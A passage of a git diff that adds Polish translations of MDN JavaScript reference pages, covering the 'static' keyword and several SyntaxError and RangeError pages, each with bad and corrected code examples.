+<div>{{EmbedInteractiveExample("pages/js/classes-static.html")}}</div> + + + +<h2 id="Składnia">Składnia</h2> + +<pre class="syntaxbox notranslate">static nazwaMetody() { ... } +static nazwaWlasciwosci [=wartosc]; +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Używanie_static_w_klasach">Używanie <code>static</code> w klasach</h3> + +<p>Poniższy przykład demonstruje kilka rzeczy:</p> + +<ol> + <li>Jak statyczna metoda lub właściwość jest implementowana w klasie</li> + <li>Klasa z metodą lub właściwością statyczną może być dziedziczona</li> + <li>Jak metoda lub właściwość statyczna może być wywoływana</li> +</ol> + +<pre class="brush: js notranslate">class Triple { + static customName = 'Tripler'; + static description = 'I triple any number you provide'; + static triple(n = 1) { + return n * 3; + } +} + +class BiggerTriple extends Triple { + static longDescription; + static description = 'I square the triple of any number you provide'; + static triple(n) { + return super.triple(n) * super.triple(n); + } +} + +console.log(Triple.description); // 'I triple any number you provide' +console.log(Triple.triple()); // 3 +console.log(Triple.triple(6)); // 18 + +var tp = new Triple(); + +console.log(BiggerTriple.triple(3)); // 81 (not affected by parent's instantiation) +console.log(BiggerTriple.description); // 'I square the triple of any number you provide' +console.log(BiggerTriple.longDescription); // undefined +console.log(BiggerTriple.customName); // 'Tripler' + +console.log(tp.triple()); // 'tp.triple is not a function'. +</pre> + +<h3 id="Wywoływanie_metod_statycznych_z_innych_metod_statycznych">Wywoływanie metod statycznych z innych metod statycznych</h3> + +<p>W celu wywołania metody lub właściwości statycznej z innej metody statycznej tej samej klasy można użyć słowa kluczowego <code>this</code>.</p> + +<pre class="brush: js notranslate">class StaticMethodCall { + static staticProperty = 'static property'; + static staticMethod() { + return 'Static method and ' + this.staticProperty + ' has been called'; + } + static anotherStaticMethod() { + return this.staticMethod() + ' from another static method'; + } +} +StaticMethodCall.staticMethod(); +// 'Static method and static property has been called' + +StaticMethodCall.anotherStaticMethod(); +// 'Static method and static property has been called from another static method'</pre> + +<h3 id="Wywoływanie_metod_statycznych_z_konstruktora_i_innych_metod">Wywoływanie metod statycznych z konstruktora i innych metod</h3> + +<p>Metody statyczne nie są dostępne przez this w metodach niestatycznych. Trzeba je wywołać, używając nazwy klasy: <code>CLASSNAME.STATIC_METHOD_NAME()</code> / <code>CLASSNAME.STATIC_PROPERTY_NAME</code> lub jako metody właściwości <code>constructor</code>: <code>this.constructor.STATIC_METHOD_NAME()</code> / <code>this.constructor.STATIC_PROPERTY_NAME</code>.</p> + +<pre class="brush: js notranslate">class StaticMethodCall { + constructor() { + console.log(StaticMethodCall.staticProperty); // 'static property' + console.log(this.constructor.staticProperty); // 'static property' + console.log(StaticMethodCall.staticMethod()); // 'static method has been called.' + console.log(this.constructor.staticMethod()); // 'static method has been called.' + } + + static staticProperty = 'static property'; + static staticMethod() { + return 'static method has been called.'; + } +}</pre> + +<h2 id="Specyfikacje">Specyfikacje</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specyfikacja</th> + <th scope="col">Status</th> + <th scope="col">Komentarz</th> + </tr> + <tr> + <td>{{SpecName('ES2015', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ES2015')}}</td> + <td>Definicja początkowa.</td> + </tr> + <tr> + <td>{{SpecName('ESDraft', '#sec-class-definitions', 'Class definitions')}}</td> + <td>{{Spec2('ESDraft')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Kompatybilność">Kompatybilność</h2> + + + +<p>{{Compat("javascript.classes.static")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/class"><code>class</code> expression</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Statements/class"><code>class</code> declaration</a></li> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Classes">Classes</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/brakujący_średnik_po_własności_id/index.html b/files/pl/web/javascript/reference/errors/brakujący_średnik_po_własności_id/index.html new file mode 100644 index 0000000000..ecdb783335 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/brakujący_średnik_po_własności_id/index.html @@ -0,0 +1,77 @@ +--- +title: 'Błąd składni: brakująca własność po identyfikatorze.' +slug: Web/JavaScript/Reference/Errors/Brakujący_średnik_po_własności_id +tags: + - Błąd + - Błąd składniowy + - Błędy + - JavaScript +translation_of: Web/JavaScript/Reference/Errors/Missing_colon_after_property_id +--- +<div>{{jsSidebar("Errors")}}</div> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox"><span class="short_text" id="result_box" lang="pl"><span>Błąd składni: brakująca własność po identyfikatorze.</span></span> +</pre> + +<h2 id="Typ_błedu">Typ błedu</h2> + +<p>{{jsxref("SyntaxError")}}</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Kiedy tworzysz objekty korzystając z <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Inicjalizatora objektu</a> składnia, używając dwukropka (<code>:</code>) oddziela klucze i wartości od własności objektu.</p> + +<pre class="brush: js">var obj = { własnośćKlucza: 'wartość' }; +</pre> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Dwukropki_a_znaki_równości">Dwukropki a znaki równości</h3> + +<p>Ten kod nie zadziała prawidłowo, ponieważ nie możesz w ten sposób używać znaków równości, aby korzystać z inicjalizatora objektu.</p> + +<pre class="brush: js example-bad">var obj = { własnośćKlucza = 'wartość' }; +// <span class="short_text" id="result_box" lang="pl"><span>Błąd składni: brakująca własność po identyfikatorze.</span></span> +</pre> + +<p>Poprawnie byłoby użyć znaku dwukropka, lub używając nawiasów kwadratowych aby przydzielić nową własność po stworzeniu objektu</p> + +<pre class="brush: js example-good">var obj = { własnośćKlucza: 'wartość' }; + +// Lub inaczej + +var obj = { }; +obj['własnośćKlucza'] = 'wartość'; +</pre> + +<h3 id="Puste_własności">Puste własności</h3> + +<p>Nie możesz w ten sposób tworzyć pustych własności.</p> + +<pre class="brush: js example-bad">var obj = { własnośćKlucza; }; +// <span class="short_text" id="result_box" lang="pl"><span>Błąd składni: brakująca własność po identyfikatorze.</span></span> +</pre> + +<p>Jeżeli potrzebujesz zdefiniować własność bez wartości, powinieneś użyć {{jsxref("null")}} jako wartości</p> + +<pre class="brush: js example-good">var obj = { własnośćKlucza: null };</pre> + +<h3 id="Własności_obliczeniowe">Własności obliczeniowe</h3> + +<p>Jeżeli tworzysz własność klucza z wyrażenia, potrzebujesz uzyć kwadratowych nawiasów. W przeciwnym razie, nazwa własności nie będzie możliwa do obliczenia</p> + +<pre class="brush: js example-bad">var obj = { 'b'+'ar': 'foo' }; +// <span class="short_text" id="result_box" lang="pl"><span>Błąd składni: brakująca własność po identyfikatorze.</span></span> +</pre> + +<p>Przenieś to wyrażenie do nawiasów <code>[]</code>:</p> + +<pre class="brush: js example-good">var obj = { ['b'+'ar']: 'foo' };</pre> + +<h2 id="Zobacz_również">Zobacz również</h2> + +<ul> + <li><a href="/en-US/docs/Web/JavaScript/Reference/Operators/Object_initializer">Inicjalizator objektu</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/index.html b/files/pl/web/javascript/reference/errors/index.html new file mode 100644 index 0000000000..68d78ee3e9 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/index.html @@ -0,0 +1,28 @@ +--- +title: JavaScript error reference +slug: Web/JavaScript/Reference/Errors +tags: + - Błąd + - Błąd javascript + - Debugowanie JavaScript + - JavaScript + - Pomoc JavaScript +translation_of: Web/JavaScript/Reference/Errors +--- +<p>{{jsSidebar("Errors")}}</p> + +<p>Poniżej znajduje się lista błędów JavaScript wyświetlanych w konsoli. Takie błędy mogą być dla Ciebie pomocne w debugowaniu skryptu, natomiast wyświetlany komunikat dotyczący danego błędu nie zawsze jest zrozumiały. Poniższe odnośniki przekierowują Cię na strony, których zawartość szczegółowo opisuje dany problem. Każdy błąd jest traktowany jako obiekt {{jsxref("Error")}}, posiada <code>name</code> oraz <code>message</code>.</p> + +<p>Błędy wyświetlane w konsoli www mogą zawierać łącza do odpowiedniej strony poniżej, aby pomóc Ci szybko zrozumieć problem, który pojawił się w kodzie. </p> + +<h2 id="Lista_błędów">Lista błędów</h2> + +<p>Na tej liście każda strona jest wyświetlana według nazwy (typu błędu) i wiadomości (bardziej czytelna forma błędu dla człowieka w formie komuniaktu). Razem te dwa elementy stanowią punkt wyjścia do zrozumienia problemu. Aby uzyskać więcej informacji, kliknij jeden z poniższych odnośników.</p> + +<p>{{ListSubPages("/en-US/docs/Web/JavaScript/Reference/Errors")}}</p> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">What went wrong? Troubleshooting JavaScript</a>: Tutorial dla początkujących - jak naprawić błąd JavaScript.</li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/invalid_array_length/index.html b/files/pl/web/javascript/reference/errors/invalid_array_length/index.html new file mode 100644 index 0000000000..e84d0f36a2 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/invalid_array_length/index.html @@ -0,0 +1,79 @@ +--- +title: 'RangeError: invalid array length' +slug: Web/JavaScript/Reference/Errors/Invalid_array_length +tags: + - Błędy + - Errors + - JavaScript + - RangeError +translation_of: Web/JavaScript/Reference/Errors/Invalid_array_length +--- +<div>{{jsSidebar("Errors")}}</div> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox">RangeError: Array length must be a finite positive integer (Edge) +RangeError: invalid array length (Firefox) +RangeError: Invalid array length (Chrome) +RangeError: Invalid array buffer length (Chrome) +</pre> + +<h2 id="Typ_błędu">Typ błędu</h2> + +<p>{{jsxref("RangeError")}}</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Niewłaściwa długość tablicy może wystąpić w następujących sytuacjach:</p> + +<ul> + <li>Kiedy obiekt {{jsxref("Array")}} lub {{jsxref("ArrayBuffer")}} ma długość ujemną albo większą lub równą 2<sup>32</sup>,</li> + <li>przy ustawianiu własności {{jsxref("Array.length")}} na wartość ujemną albo większą lub równą 2<sup>32</sup>.</li> +</ul> + +<p>Dlaczego długość obiektów typu <code>Array</code> i <code>ArrayBuffer</code> jest ograniczona? Własności te są reprezentowane jako 32-bitowe liczby całkowite bez znaku, które mogą przyjmować wartości z zakresu od 0 do 2<sup>32</sup>-1.</p> + +<p>Kiedy tworzysz obiekt typu <code>Array</code>, używając konstruktora, prawdopodobnie chcesz użyć zamiast tego literalnej notacji, gdyż pierwszy argument jest interpretowany jako długość obiektu <code>Array</code>.</p> + +<p><span class="tlid-translation translation" lang="pl"><span title="">W przeciwnym razie możesz chcieć ustalić długość przed ustawieniem właściwości <code>length</code> lub użyć jej jako argumentu konstruktora.</span></span></p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Niepoprawne_przypadki">Niepoprawne przypadki</h3> + +<pre class="brush: js example-bad">new Array(Math.pow(2, 40)) +new Array(-1) +new ArrayBuffer(Math.pow(2, 32)) +new ArrayBuffer(-1) + +let a = []; +a.length = a.length - 1; // ustaw -1 dla własności length + +let b = new Array(Math.pow(2, 32) - 1); +b.length = b.length + 1; // ustaw 2^32 dla własności length +</pre> + +<h3 id="Poprawne">Poprawne</h3> + +<pre class="brush: js example-good">[ Math.pow(2, 40) ] // [ 1099511627776 ] +[ -1 ] // [ -1 ] +new ArrayBuffer(Math.pow(2, 32) - 1) +new ArrayBuffer(0) + +let a = []; +a.length = Math.max(0, a.length - 1); + +let b = new Array(Math.pow(2, 32) - 1); +b.length = Math.min(0xffffffff, b.length + 1); + +// 0xffffffff jest szesnastkowym zapisem dla 2^32 - 1, +// co może być także zapisane jako (-1 >>> 0) +</pre> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Array")}}</li> + <li>{{jsxref("Array.length")}}</li> + <li>{{jsxref("ArrayBuffer")}}</li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/invalid_date/index.html b/files/pl/web/javascript/reference/errors/invalid_date/index.html new file mode 100644 index 0000000000..fe5d685894 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/invalid_date/index.html @@ -0,0 +1,59 @@ +--- +title: 'RangeError: invalid date' +slug: Web/JavaScript/Reference/Errors/Invalid_date +tags: + - Błąd + - Error + - JavaScript + - RangeError +translation_of: Web/JavaScript/Reference/Errors/Invalid_date +--- +<div>{{jsSidebar("Errors")}}</div> + +<p>Wyjątek JavaScript „invalid date” (<em>niewłaściwa data</em>) zdarza się, gdy ciąg znaków zawierający niepoprawną datę jest przekazany do {{jsxref("Date")}} lub {{jsxref("Date.parse()")}}.</p> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox notranslate">RangeError: invalid date (Edge) +RangeError: invalid date (Firefox) +RangeError: invalid time value (Chrome) +RangeError: Provided date is not in valid range (Chrome) +</pre> + +<h2 id="Rodzaj_błędu">Rodzaj błędu</h2> + +<p>{{jsxref("RangeError")}}</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Ciąg znaków przekazany do {{jsxref("Date")}} lub {{jsxref("Date.parse()")}} prowadzi do niepoprawnej daty.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Niepoprawne_przypadki">Niepoprawne przypadki</h3> + +<p>Ciągi znaków, w których nie można rozpoznać daty, lub które zawierają elementy niezgodne ze standardem ISO w większości przypadków spowodują zwrócenie {{jsxref("NaN")}}. Jednakże — w zależności od implementacji — niektóre wartości niezgodne z formatem ISO mogą także spowodować błąd <code>RangeError: invalid date</code>, tak jak następujące przypadki w przeglądarce Firefox:</p> + +<pre class="brush: js example-bad notranslate">new Date('foo-bar 2014'); +new Date('2014-25-23').toISOString(); +new Date('foo-bar 2014').toString(); +</pre> + +<p>Jednocześnie poniższy przykład zwróci w Firefoksie wartość {{jsxref("NaN")}}:</p> + +<pre class="brush: js example-bad notranslate">Date.parse('foo-bar 2014'); // NaN</pre> + +<p>Więcej szczegółów znajduje się w dokumentacji {{jsxref("Date.parse()")}}.</p> + +<h3 id="Poprawne_przypadki">Poprawne przypadki</h3> + +<pre class="brush: js example-good notranslate">new Date('05 October 2011 14:48 UTC'); +new Date(1317826080); // Timestamp Unix dla daty 5 października 2011 14:48:00 UTC</pre> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("Date")}}</li> + <li>{{jsxref("Date.prototype.parse()")}}</li> + <li>{{jsxref("Date.prototype.toISOString()")}}</li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/json_bad_parse/index.html b/files/pl/web/javascript/reference/errors/json_bad_parse/index.html new file mode 100644 index 0000000000..a57c961088 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/json_bad_parse/index.html @@ -0,0 +1,114 @@ +--- +title: 'SyntaxError: JSON.parse: bad parsing' +slug: Web/JavaScript/Reference/Errors/JSON_bad_parse +tags: + - Błąd składniowy + - Błędy + - Errors + - JSON + - JavaScript + - Metodă + - SyntaxError + - Własność +translation_of: Web/JavaScript/Reference/Errors/JSON_bad_parse +--- +<div>{{jsSidebar("Errors")}}</div> + +<h2 id="Wiadomosć">Wiadomosć</h2> + +<pre class="syntaxbox">SyntaxError: JSON.parse: unterminated string literal +SyntaxError: JSON.parse: bad control character in string literal +SyntaxError: JSON.parse: bad character in string literal +SyntaxError: JSON.parse: bad Unicode escape +SyntaxError: JSON.parse: bad escape character +SyntaxError: JSON.parse: unterminated string +SyntaxError: JSON.parse: no number after minus sign +SyntaxError: JSON.parse: unexpected non-digit +SyntaxError: JSON.parse: missing digits after decimal point +SyntaxError: JSON.parse: unterminated fractional number +SyntaxError: JSON.parse: missing digits after exponent indicator +SyntaxError: JSON.parse: missing digits after exponent sign +SyntaxError: JSON.parse: exponent part is missing a number +SyntaxError: JSON.parse: unexpected end of data +SyntaxError: JSON.parse: unexpected keyword +SyntaxError: JSON.parse: unexpected character +SyntaxError: JSON.parse: end of data while reading object contents +SyntaxError: JSON.parse: expected property name or '}' +SyntaxError: JSON.parse: end of data when ',' or ']' was expected +SyntaxError: JSON.parse: expected ',' or ']' after array element +SyntaxError: JSON.parse: end of data when property name was expected +SyntaxError: JSON.parse: expected double-quoted property name +SyntaxError: JSON.parse: end of data after property name when ':' was expected +SyntaxError: JSON.parse: expected ':' after property name in object +SyntaxError: JSON.parse: end of data after property value in object +SyntaxError: JSON.parse: expected ',' or '}' after property value in object +SyntaxError: JSON.parse: expected ',' or '}' after property-value pair in object literal +SyntaxError: JSON.parse: property names must be double-quoted strings +SyntaxError: JSON.parse: expected property name or '}' +SyntaxError: JSON.parse: unexpected character +SyntaxError: JSON.parse: unexpected non-whitespace character after JSON data +SyntaxError: JSON.parse Error: Invalid character at position {0} (Edge)</pre> + +<h2 id="Typ_błędu">Typ błędu</h2> + +<p>{{jsxref("SyntaxError")}}</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>{{jsxref("JSON.parse()")}} parsuje string jako JSON. Zadany string musi być poprawnym dokumentem JSON, więc błąd wystąpi wtedy, gdy zostanie napotkana niepoprawna składnia.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="JSON.parse_nie_pozwala_na_końcowe_przecinki"><code>JSON.parse()</code> nie pozwala na końcowe przecinki</h3> + +<p>Both lines will throw a SyntaxError:</p> + +<pre class="brush: js example-bad">JSON.parse('[1, 2, 3, 4,]'); +JSON.parse('{"foo": 1,}'); +// SyntaxError JSON.parse: unexpected character +// at line 1 column 14 of the JSON data +</pre> + +<p>Pomiń końcowe przecinki, aby sparsować dokument JSON w poprawny sposób:</p> + +<pre class="brush: js example-good">JSON.parse('[1, 2, 3, 4]'); +JSON.parse('{"foo": 1}');</pre> + +<h3 id="Nazwy_własności_muszą_znajdować_się_w_cudzysłowach">Nazwy własności muszą znajdować się w cudzysłowach</h3> + +<p>Nie możesz użyć apostrofów do określania nazw własności, jak np. 'foo'.</p> + +<pre class="brush: js example-bad">JSON.parse("{'foo': 1}"); +// SyntaxError: JSON.parse: expected property name or '}' +// at line 1 column 2 of the JSON data</pre> + +<p>Zamiast tego użyj "foo":</p> + +<pre class="brush: js example-good">JSON.parse('{"foo": 1}');</pre> + +<h3 id="Zera_wiodące_i_część_niecałkowita_liczby">Zera wiodące i część niecałkowita liczby</h3> + +<p>Nie możesz użyć zer wiodących, jak na przykład <code>01</code>, ponadto część niecałkowita musi zawierać co najmniej jedną cyfrę, jeśli używany jest format dziesiętny.</p> + +<pre class="brush: js example-bad">JSON.parse('{"foo": 01}'); +// SyntaxError: JSON.parse: expected ',' or '}' after property value +// in object at line 1 column 2 of the JSON data + +JSON.parse('{"foo": 1.}'); +// SyntaxError: JSON.parse: unterminated fractional number +// at line 1 column 2 of the JSON data +</pre> + +<p>Zamiast tego napisz po prostu <code>1</code> bez zera z przodu i użyj co najmniej jednej cyfry w częsci dziesiętnej:</p> + +<pre class="brush: js example-good">JSON.parse('{"foo": 1}'); +JSON.parse('{"foo": 1.0}'); +</pre> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li>{{jsxref("JSON")}}</li> + <li>{{jsxref("JSON.parse()")}}</li> + <li>{{jsxref("JSON.stringify()")}}</li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/missing_curly_after_function_body/index.html b/files/pl/web/javascript/reference/errors/missing_curly_after_function_body/index.html new file mode 100644 index 0000000000..efabf665c9 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/missing_curly_after_function_body/index.html @@ -0,0 +1,72 @@ +--- +title: 'SyntaxError: missing } after function body' +slug: Web/JavaScript/Reference/Errors/Missing_curly_after_function_body +tags: + - Błąd + - Błąd składni + - Błędy + - Error + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_curly_after_function_body +--- +<div>{{jsSidebar("Errors")}}</div> + +<p>Wyjątek JavaScript "missing } after function body" (<em>brakujący } po ciele funkcji</em>) zdarza się, gdy jest błąd składniowy gdzieś w definicji funkcji. Należy sprawdzić, czy wszystkie klamry i nawiasy są w odpowiednich miejscach i kolejności.</p> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox notranslate">SyntaxError: Expected '}' (Edge) +SyntaxError: missing } after function body (Firefox) +</pre> + +<h2 id="Rodzaj_błędu">Rodzaj błędu</h2> + +<p>{{jsxref("SyntaxError")}}</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>W którymś miejscu pojawił się błąd przy tworzeniu funkcji. Należy sprawdzić, czy wszystkie zamykaące klamry i nawiasy są we właściwej kolejności. Odpowiednie wcięcia i formatowanie kodu mogą pomóc Ci w odnalezieniu błędu.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Brakująca_klamra_zamykająca">Brakująca klamra zamykająca</h3> + +<p>Często zdarza się, że brakuje klamry zamykającej w funkcji w Twoim kodzie:</p> + +<pre class="brush: js example-bad notranslate">var charge = function() { + if (sunny) { + useSolarCells(); + } else { + promptBikeRide(); +}; +</pre> + +<p>Poprawny kod wygląda następująco:</p> + +<pre class="brush: js example-good notranslate">var charge = function() { + if (sunny) { + useSolarCells(); + } else { + promptBikeRide(); + } +};</pre> + +<p>Może to być o wiele bardziej niejasne, kiedy używane są <a href="/en-US/docs/Glossary/IIFE">IIFE</a>, <a href="/pl/docs/Web/JavaScript/Domkniecia">domknięcia</a>, czy inne konstrukcje wymagające wielu różnych nawiasów i klamer, jak na przykład:</p> + +<pre class="brush: js example-bad notranslate">(function() { if (true) { return false; } ); +</pre> + +<p>Często zastosowanie innych wcięć lub dokładne sprawdzenie poprawności wcięć pozwala na znalezienie błędów tego rodzaju.</p> + +<pre class="brush: js example-good notranslate">(function() { + if (true) { + return false; + } +});</pre> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Guide/Funkcje">Funkcje</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/missing_initializer_in_const/index.html b/files/pl/web/javascript/reference/errors/missing_initializer_in_const/index.html new file mode 100644 index 0000000000..457a8e6a97 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/missing_initializer_in_const/index.html @@ -0,0 +1,61 @@ +--- +title: 'SyntaxError: missing = in const declaration' +slug: Web/JavaScript/Reference/Errors/Missing_initializer_in_const +tags: + - Błąd + - Błąd składni + - Error + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_initializer_in_const +--- +<div>{{jsSidebar("Errors")}}</div> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox">SyntaxError: Const must be initalized (Edge) +SyntaxError: missing = in const declaration (Firefox) +SyntaxError: Missing initializer in const declaration (Chrome) +</pre> + +<h2 id="Typ_błędu">Typ błędu</h2> + +<p>{{jsxref("SyntaxError")}}</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Stała jest wartością, która nie może być zmieniona podczas normalnego wykonania programu. Nie może być zmodyfikowana poprzez ponowne przypisanie wartości ani ponowną deklarację. W języku JavaScipt, stałe są deklarowane za pomocą słowa kluczowego <code>const</code>. Wymagane jest zainicjowanie stałej konkretną wartością – konieczne jest przypisanie danej stałej wartości w tym samym wyrażeniu, w którym jest deklarowana (co ma sens, biorąc pod uwagę fakt, że nie może ona być później zmieniana).</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Brakująca_inicjalizacja_stałej">Brakująca inicjalizacja stałej</h3> + +<p>W przeciwieństwie do <code>var</code> lub <code>let</code>, konieczne jest podanie wartości przy deklaracji <code>const</code>. W przeciwnym razie zwracany jest błąd:</p> + +<pre class="brush: js example-bad">const COLUMNS; +// SyntaxError: missing = in const declaration</pre> + +<h3 id="Naprawianie_błędu">Naprawianie błędu</h3> + +<p>Jest wiele opcji, by naprawić ten błąd. Należy sprawdzić, czemu miała służyć stała, o której mowa.</p> + +<h4 id="Dodawanie_wartości_stałej">Dodawanie wartości stałej</h4> + +<p>Ustal wartość stałej w tym samym wyrażeniu, w którym jest ona deklarowana:</p> + +<pre class="brush: js example-good">const COLUMNS = 80;</pre> + +<h4 id="const_let_or_var"><code>const</code>, <code>let</code> or <code>var</code>?</h4> + +<p>Nie używaj <code>const</code> tam, gdzie nie chcesz użyć stałej. Być może chciałeś zadeklarować zmienną z zakresem ograniczonym do danego bloku kodu za pomocą <code>let</code> lub zmienną globalną przy użyciu <code>var</code>. Obydwie te opcje nie wymagają wartości początkowej.</p> + +<pre class="brush: js example-good">let columns; +</pre> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/const">const</a></code></li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/let">let</a></code></li> + <li><code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/var">var</a></code></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html b/files/pl/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html new file mode 100644 index 0000000000..a821081889 --- /dev/null +++ b/files/pl/web/javascript/reference/errors/missing_parenthesis_after_argument_list/index.html @@ -0,0 +1,59 @@ +--- +title: 'SyntaxError: missing ) after argument list' +slug: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list +tags: + - Błąd + - Błąd składni + - Błędy + - Error + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_parenthesis_after_argument_list +--- +<div>{{jsSidebar("Errors")}}</div> + +<p>Wyjątek JavaScript „missing ) after argument list” (brakujący „)” po liście argumentów) występuje, gdy pojawia się błąd przy próbie wywołania funkcji. Może być on spowodowany literówką, brakującym operatorem lubciągiem znaków, w którym nie został zastosowany znak ucieczki tam, gdzie był potrzebny.</p> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox notranslate">SyntaxError: Expected ')' (Edge) +SyntaxError: missing ) after argument list (Firefox) +</pre> + +<h2 id="Rodzaj_błędu">Rodzaj błędu</h2> + +<p>{{jsxref("SyntaxError")}}.</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Wystąpił błąd w wywołaniu funkcji. Powodem może być na przykład literówka, brakujący operator lub brak znaku ucieczki w ciągu znaków, gdy zastosowanie go było potrzebne.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<p>Ponieważ brakuje operatora <code>+</code> przy próbie połączenia ciągów znaków, JavaScript oczekuje, że jedynym argumentem funkcji <code>log</code> będzie <code>"PI: "</code>, a zatem że nastąpi po nim nawias zamykający.</p> + +<pre class="brush: js example-bad notranslate">console.log('PI: ' Math.PI); +// SyntaxError: missing ) after argument list +</pre> + +<p>Można naprawić wywołanie funkcji <code>log</code> poprzez dodanie brakującego operatora <code>+</code>:</p> + +<pre class="brush: js example-good notranslate">console.log('PI: ' + Math.PI); +// "PI: 3.141592653589793"</pre> + +<h3 id="Niedokończone_ciągi_znaków">Niedokończone ciągi znaków</h3> + +<pre class="brush: js example-bad notranslate">console.log('"Java" + "Script" = \"' + 'Java' + 'Script\"); +// SyntaxError: missing ) after argument list</pre> + +<p>W powyższym przypadku JavaScript sądzi, że chciałeś użyć <code>);</code> jako fragmentu ciągu znaków (<em>string</em>) i ignoruje to, ponieważ nie wie, że <code>);</code> miało zakończyć wywołanie funkcji <code>console.log</code>. Aby naprawić ten problem, należy dodać znak <code>'</code> na końcu ciągu znaków, po fragmencie <code>'Script\"</code>:</p> + +<pre class="brush: js example-good notranslate">console.log('"Java" + "Script" = \"' + 'Java' + 'Script\"'); +// '"Java" + "Script" = "JavaScript"' +</pre> + +<h2 id="Zobacz_też">Zobacz też</h2> + +<ul> + <li><a href="/pl/docs/Web/JavaScript/Guide/Funkcje">Funkcje</a></li> +</ul> diff --git a/files/pl/web/javascript/reference/errors/missing_semicolon_before_statement/index.html b/files/pl/web/javascript/reference/errors/missing_semicolon_before_statement/index.html new file mode 100644 index 0000000000..6ff362a7aa --- /dev/null +++ b/files/pl/web/javascript/reference/errors/missing_semicolon_before_statement/index.html @@ -0,0 +1,82 @@ +--- +title: zezwalaj na wklejanie +slug: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement +tags: + - Errors + - JavaScript + - SyntaxError +translation_of: Web/JavaScript/Reference/Errors/Missing_semicolon_before_statement +--- +<div>{{jsSidebar("Errors")}}</div> + +<h2 id="Wiadomość">Wiadomość</h2> + +<pre class="syntaxbox">SyntaxError: Expected ';' (Edge) +SyntaxError: missing ; before statement (Firefox) +</pre> + +<h2 id="Typ_Błędu">Typ Błędu</h2> + +<p>{{jsxref("SyntaxError")}}.</p> + +<h2 id="Co_poszło_nie_tak">Co poszło nie tak?</h2> + +<p>Brakuje gdzieś średnika (;). Instrukcje JavaScript muszą być zakończone średnikami. Niektóre z nich podlegają automatycznemu wstawianiu średnika (ASI), ale w tym przypadku musisz podać średnik, aby JavaScript mógł poprawnie przeanalizować kod źródłowy.</p> + +<p>Jednak często ten błąd jest tylko konsekwencją innego błędu, takiego jak niewłaściwe unikanie ciągów znaków lub niewłaściwe używanie zmiennej var. Możesz także mieć gdzieś za dużo nawiasów. Dokładnie sprawdź składnię, gdy ten błąd zostanie zgłoszony.</p> + +<h2 id="Przykłady">Przykłady</h2> + +<h3 id="Niezdefiniowane_wiersze">Niezdefiniowane wiersze</h3> + +<p>Ten błąd może wystąpić z łatwością, gdy łańcuch znaków nie jest poprawnie zlozony, a silnik JavaScript oczekuje już końca łańcucha. Na przykład:</p> + +<pre class="brush: js example-bad">var foo = 'Tom's bar'; +// SyntaxError: missing ; before statement</pre> + +<p>Możesz użyć podwójnych 